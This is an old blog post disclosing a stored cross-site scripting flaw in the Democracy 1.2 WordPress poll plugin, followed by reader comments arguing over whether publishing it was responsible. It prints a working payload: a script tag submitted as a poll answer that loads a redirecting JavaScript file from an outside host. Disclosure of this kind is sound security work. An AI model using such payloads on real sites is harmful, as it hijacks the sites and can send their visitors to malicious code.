Last week, Darren McLaughlin scooped a story regarding the very popular Democracy plugin for Wordpress. You can read his findings about how the execution of the plugin may cause all of your sites pages to be dropped from search engine indexes.
When it rains it pours because last week, we discovered an XSS exploit in the plugin that can cause a website to be hijacked. To be clear, we discovered this because one of our b5media blogs was in fact hijacked. While in our case, the hack was not malicious and actually redirected the site to Google, the truth is that by exploiting this plugin, a malicious hacker could redirect a website to any website that could execute any malicious code and compromise security. It affects btoh Firefox and Internet Explorer. PLEASE TAKE THIS WARNING SERIOUSLY!
I have alerted the plugin author who has responded positively and promises a new version of Democracy 2.0, however I warned him that he had one week until I released details of the exploit. Andrew has just posted Democracy Public Beta 2. Cannot vouch for its security yet as it has literally just now been posted. Prelimnary testing indicates it’s okay though.
How To Exploit the Democracy 1.2 XSS Vulnerability
This is not a complex exploit.
I have created a javascript file called examplehack.js and placed it on my webserver. It simply redirects to a standard HTML page with a message. This could be any page containing any scripting.
window.location = "http://www.technosailor.com/examplehack.html"To exploit the plugin, the blog owner must have a poll that allows user contributed answers. Simply “Adding an answer” with the following code (sample) will create a hijacked browser: <script src=http://technosailor/examplehack.js>test</script>
Refresh and watch traffic get siphoned away.
Originally discovered by Duncan Riley.
Stumble it!
About the Author: Aaron Brazell is the lead editor of Technosailor.com and a social media expert. His passion is to see companies and individuals use the internet and web technologies wisely and effectively to promote their brands and companies. He is Business Development Manager for Lijit and he worked as Director of Technology at b5media from 2005-2008 and is currently an independent consultant.
Add New Comment
Viewing 15 Comments
Thanks. Your comment is awaiting approval by a moderator.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Is it to prove it's existence?
Do you already have an account? Log in and claim this comment.
Most people tend to think, "Aww, a hack will never happen to me". The point of this exercise was to demonstrate how very simple it is. Maybe demonstration will cause folks to be cautious regarding plugins they use.
Do you already have an account? Log in and claim this comment.
Surely just saying what you have and omitting the actual exploit would be the way to go?
Do you already have an account? Log in and claim this comment.
This one is a very insidious exploit.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
I've a challenge. If it will be accepted.
Do you already have an account? Log in and claim this comment.
Can you hold the author liable for any problems, even though his software is free? I'm not sure that it's fair to do so.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
I may feel differently if one of my sites had been hacked - that'll certainly give you a different perspective on the matter. Either way, it's necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer's site.
Add New Comment